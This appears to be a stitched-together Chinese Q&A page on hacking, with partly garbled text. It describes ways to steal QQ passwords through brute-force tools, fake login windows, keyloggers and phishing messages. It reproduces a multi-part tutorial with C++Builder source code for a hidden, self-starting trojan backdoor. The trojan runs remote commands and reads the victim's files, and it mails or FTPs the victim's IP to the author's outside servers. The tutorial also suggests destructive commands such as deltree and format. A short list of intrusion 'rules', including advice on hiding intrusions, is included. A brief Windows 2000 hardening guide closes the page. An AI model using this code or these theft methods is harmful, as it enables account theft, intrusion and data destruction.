1.计算机网络中,摆渡技术如何**对方的文件?

2.木马是怎么利用电脑系统的漏洞来进行攻击的?

3.电脑黑客如何做起

4.黑客是如何窃取服务器文件的

5.如何破解电脑系统秘密?

计算机网络中,摆渡技术如何**对方的文件?

黑客如何玩转电脑系统文件-黑客进入电脑系统该怎么处理呢?

我给汝提供一些参考资料

1、在线密码破解

大家知道QQ可以利用代理服务器登录,这是一种保护措施。它不仅可以隐藏用户的真实IP地址,以避免遭受网络攻击,还可以加快登录速度,保证登录的稳定性。

在线密码破解和本地密码破解用的技术方法类似,都是穷举法,只不过前者完全脱离了本地用户使用的QQ。它通过对登录代理服务器进行扫描,只要想盗的QQ号码在线,就可利用在线盗号工具实现远程TCP/IP的追捕,从而神不知鬼不觉地**QQ密码!

在线破解改变了本地破解那种被动的破解方式,只要是在线的QQ号码都可以破解,适用范围较广。但是由于它仍然用穷举法技术,所以在枚举密钥位数长度以及类型时,校验时间很长,破解效率不高。同样,这种方法还受到电脑速度、网速等诸多因素的影响,因此比前面的本地破解更麻烦。

目前功能比较强大的一款QQ密码在线破解软件叫QQExplorer。它的破解操作分四步:第一步,在QQ起始号码和结束号码中填上想要**的QQ号码(此号码必须在线);第二步,在“添加或删除HTTP代理服务器”中输入代理服务器的IP地址和端口号码(如果你嫌自己寻找QQ代理服务器麻烦,可以使用一些现代的QQ代理公布软件);第三步,点击“添加&测试”按钮,软件先自动检测此服务器是否正常,确定后将它加入代理服务器列表(此软件可填入多个代理服务器的地址,并且能够自动筛选不可用或者速度慢的服务器);第四步,点击“开始”按钮,开始在线密码破解……

图1

2、登录窗口破解

伪造QQ登录窗口的盗号方法非常简单,这是一种比较另类的木马破解方法(后面对木马破解有专门讲述)。先用盗号软件生成一个伪装的QQ主程序,它运行后会出现跟腾讯QQ一模一样的登录窗口,只要用户在这个伪登录窗口中登录,输入的QQ号及密码就会被记录下来,并通过电子邮件发送到盗号者指定的油箱中,在此以一款叫“狐Q”的软件为例,首次运行它时,它会把自身复制到QQ目录中,并把原来的QQ.exe文件改名为QQ(这样的更改不会影响QQ的正常运行)。设置完毕后,“狐Q”的原程序就会消失,伪装成QQ等待“猎物”上钩……在其软件设置中,有一项设置可以决定真QQ交替运行的次数,可以减少用户在使用QQ时产生的怀疑。比如说将“生效次数”设定为3,那么用户第一次运行的是真QQ了,也就是说在第三次运行时,用户的QQ号便被盗了!在QQ密码发送的过程中,如果发送失败,它还会把QQ号和密码记下来,等待下一次发送。

即时监视QQ登录窗口的盗号方法利用Windows窗口函数、句柄功能实现QQ号和密码的后台截取。此类软件几乎可以捕获Windows下所有标准密码框中的密码,如QQ、Outlook、屏幕保护程序、各种电子邮件客户端、各种游戏账号和上网账号等。捕获后,它也会将密码实时发送到盗号者指定的邮箱中。其代表性的盗号软件是“密码使者”,它几乎可以捕获Windows 9x/2000/XP下所有登录窗口中的密码,并且还能够**在网页中登录的各种密码。盗号在使用这款软件时,只须填上用于接收别人QQ密码的邮箱地址及保护密码,并把生成的盗号器文件传过去哄骗别人运行,然后就可以坐等密码上门!此软件与传统的键盘记录器不同,它在电脑每次开机时隐藏自启动,不管密码是用键盘输入的,还是复制、粘贴的,都能够有效地实时拦截!其注册版本居然还带有自动升级的功能,破坏力十分巨大。

图2

“密码使者”几乎可以捕获系统所有登录窗口中的密码

3、邮箱破解

利用邮箱**QQ密码也是一种比较常用的方法。我们都知道,腾讯公司在对用户的QQ号码进行验证时需要用户填写电子邮箱。对于申请了“密码保护”功能的用户,在腾讯主页上找回遗忘的密码时,密码会被发送到用户注册时的邮箱中。所以,只要盗号者破解了对方的电子邮箱,就有机会得到其QQ密码!通常我们在对方QQ注册时填写的邮箱。至于如何破解电子邮箱,具体的操作方法有多种,由于它有点超出文本的范畴,所以大家可以自己上网查询相关资料,在此就不赘述了。

4、消息

孔子曰:上士用笔端,中士用语言,下士用石盘。远程**QQ密码还有一种大家最常见也是最简单最有效的方法,那就是利用不少人爱贪小便宜的弱点,进行人为的欺骗!

标题:腾讯关于xxxxx获奖通知

“QQ儿:恭喜!!!您已经成为QQ在线网友齐抽奖的中奖用户。裨繲恤1件,并有机会得到NOKIA 7110手机1部。腾讯公司(tencent)注:奖品是以邮寄方式寄出,请您认真填写以下资料。如果填写错误,将被作为自动放弃获奖机会处理。> > QQ号码:> 密码:> 姓名:> E-mail地址:> 号码:> 通讯地址:> 联系电话:> 邮编:”

比如我们的QQ经常会收到如下的陌生人消息。

如果你真的如实填写这些资料并傻傻的发送回去,不一会儿QQ密码就被盗了。

还有类似这样的消息:“亲爱的***号QQ用户,恭喜你你已经成为腾讯的号码,腾讯公司送你QQ靓号:12345,密码:54321。请尽快登陆并修改密码,感谢您对腾讯公司的支持!”不少人一看,以为白捡的便宜来了 ,登录一试还是真的,于是就大大咧咧地笑纳了。但是,很多人为了方便,不管什么东西都爱使用相同的密码,所以当这个QQ号的密码被你改为与自己QQ号相同的密码时,自己QQ号的连同这个赠送的QQ号都得玩完!这是因为,赠送的QQ号已被盗号者申请过密码保护,当你更改密码后他就利用腾讯的密码保护功能把它收了回去,同时也收走你的QQ密码。如果你的QQ没有申请过密码保护,此刻就只能和它永别了。

5、更多的木马破解

“古希腊大军围攻特洛伊城,久攻不破,遂造一大木马藏匿将士于其中,大部队装撤退而弃木马。城中得知敌退,将木马作战利品拖入城内。时分,匿于木马中的将士开启城门四处纵火,城外伏兵涌入,里应外合,焚屠特洛伊城。”这是古希腊神话《木马屠城记》的故事,其中那只木马被黑客程序借用其名,表“一经潜入,后患无穷”之意。一个完整的木马程序由服务器端和控制端组成。所谓“辛四韭怼保?侵赣没У牡缒灾斜话沧傲四韭淼姆?衿鞫耍涤锌刂贫说牡梁耪呔屯ü缭冻炭刂聘玫缒裕?佣?岫?拙俚氐恋酶玫缒灾械腝Q密码。

针对QQ的木马程序多不胜数,其中专门**QQ密码的也有一大堆,它们被偷偷地安装在用户的电脑中,随电脑启动而自动运行,如果用户使用QQ,那么其账号和密码就会被这些木马记录下来,并发送到木马安装者的邮箱中。前面已经介绍了两款通过登录窗口盗号的QQ木马,下面再介绍两款典型的。

第一款:极品QQ盗号2004

这是“极品QQ盗号”木马的最新版本。它的使用方法跟前面介绍的“密码使者”差不多,先再“设置”栏中填入接收QQ密码的邮箱地址和发送邮件的标题,然后把生成的盗号器偷偷地安装到别人的电脑里……这个木马声称可以避过主流的杀毒软件,**QQ最新版本的密码,即QQ2004和QQ2004奥运特别版的密码。

图3 “极品QQ盗号2004”声称可以**QQ2004

第二款:QQ间谍3.0

使用此木马软件时,点击工具条上的“服务端”,按照提示生成服务端程序,然后把它偷偷地传到别人的电脑中,当受害者不小心运行了它,木马就被种上了。这个木马不仅可以盗号,还能悄悄地在后台记录受害者的QQ聊天信息,并下载可执行文件实现远程升级和远程执行脚本程序。另外再注册之后,它还可以直接远程监控对方电脑上的QQ聊天记录。

利用木马软件**QQ密码,显然比用前面介绍的那些破解方法更有效率!不仅节省时间,而且成功率也高。但是,如何把木马程序的服务器端安装在用户的电脑中,这是一个费心思的事儿。另外,很多功能强大的木马程序都是需要花钱注册,才能使用其全部功能。因此,对于那些水平参差不齐的盗号者而言,要想玩转木马程序,还得费点劲。

木马是怎么利用电脑系统的漏洞来进行攻击的?

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos?Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗?先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成?服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈?难道你还给受害者传一个1兆多的动态链接库?Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion >= 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket->ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket->SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib & FA_RDONLY)

file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_DIREC)

fwrite(" <DIR> ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已试了100次了

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧?操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x?NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion < 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket->SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket->Close();

file://关闭服务

ServerSocket1->Active =true;

file://再次打开服务

if (NMSMTP1->Connected) NMSMTP1->Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1->Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和amail

NMSMTP1->UserID = "";

file://你SMTP的ID

try

{

NMSMTP1->Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1->PostMessage->FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1->PostMessage->FromName = "Casualty";

file://受害者的名字

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1->PostMessage->Subject = "Server Running Now!";

file://信的主题

NMSMTP1->SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1->Host = "ftp.go.163";

file://你的FTP服务器的地址

NMFTP1->UserID = "";

file://你的用户ID

NMFTP1->Port = 21;

file://FTP端口号,一般为21

NMFTP1->Password = "";

file://你的FTP的密码

if(NMFTP1->Connected) NMFTP1->Disconnect();

file://如果已连接就断开

try

{

NMFTP1->Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1->RemoveDir("public_html");

file://删除public_html目录

NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

file://上传!

}

啊,超长的OnClientRead终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include <stdlib.h>

#include <dirent.h>

#include <fcntl.h>

#include <dos.h>

#include <sys\stat.h>

#include <winbase.h>

#include <stdio.h>

#include <process.h>

#include <io.h>

#include <mmsystem.h>

至此,服务器端(Server)程序已全部

电脑黑客如何做起

1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦. 恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料 !! 2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的后将它改回原状. 3. 不要轻易的将你要 Hack 的站台告诉你不信任的朋友. 4. 不要在 bbs 上谈论你 Hack 的任何事情. 5. 在 Post 文章的时候不要使用真名. 6. 正在入侵的时候, 不要随意离开你的电脑. 7. 不要侵入或破坏机关的主机. 8. 不在电话中谈论你 Hack 的任何事情. 9. 将你的笔记放在安全的地方. 10. 想要成为 Hacker 就要真正的 Hacking, 读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)! 11. 已侵入电脑中的帐号不得清除或修改. 12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开 !! 13. 不将你已破解的帐号分享与你的朋友.

天之道,利而不害。圣人之道,为而不争。信言不美,美言不信。善者不辩,辩者不善。知者不博,博者不知。

黑客是如何窃取服务器文件的

我的经验就是打补丁,装杀毒软件,防火墙。不过还是转一篇文章楼主看下吧,其实想找的话,这样的文章百度上一堆。

服务器安全配置精华技巧

Windows2000 含有很多的安全功能和选项,如果你合理的配置它们,那么windows 2000将会是一个很安全的操作系统。

初级安全篇  

1.物理安全

服务器应该安放在安装了监视器的隔离房间内,并且监视器要保留15天以上的摄像记录。另外,机箱,键盘,电脑桌抽屉要上锁,以确保旁人即使进入房间也无法使用电脑,钥匙要放在另外的安全的地方。  

2.停掉Guest 帐号

在计算机管理的用户里面把guest帐号停用掉,任何时候都不允许guest帐号登陆系统。为了保险起见,最好给guest 加一个复杂的密码,你可以打开记事本,在里面输入一串包含特殊字符,数字,字母的长字符串,然后把它作为guest帐号的密码拷进去。  

3.限制不必要的用户数量

去掉所有的duplicate user 帐户, 测试用帐户, 共享帐号,普通部门帐号等等。用户组策略设置相应权限,并且经常检查系统的帐户,删除已经不在使用的帐户。这些帐户很多时候都是黑客们入侵系统的突破口,系统的帐户越多,黑客们得到合法用户的权限可能性一般也就越大。国内的nt/2000主机,如果系统帐户超过10个,一般都能找出一两个弱口令帐户。我曾经发现一台主机1个帐户中竟然有180个帐号都是弱口令帐户。  

4.创建2个管理员用帐号

虽然这点看上去和上面这点有些矛盾,但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些*常事物,另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作,以方便管理。  

5.把系统administrator帐号改名

大家都知道,windows 2000 的administrator帐号是不能被停用的,这意味着别人可以一遍又一边的尝试这个帐户的密码。把Administrator帐户改名可以有效的防止这一点。当然,请不要使用Admin之类的名字,改了等于没改,尽量把它伪装成普通用户,比如改成:guestone 。  

6.创建一个陷阱帐号

什么是陷阱帐号? Look!>创建一个名为” Administrator”的本地帐户,把它的权限设置成最低,什么事也干不了的那种,并且加上一个超过10位的超级复杂密码。这样可以让那些 Scripts s忙上一段时间了,并且可以借此发现它们的入侵企图。或者在它的login scripts上面做点手脚。嘿嘿,够损!

7.把共享文件的权限从”everyone”组改成“授权用户”

“everyone” 在win2000中意味着任何有权进入你的网络的用户都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成”everyone”组。包括打印共享,默认的属性就是”everyone”组的,一定不要忘了改。  

8.使用安全密码

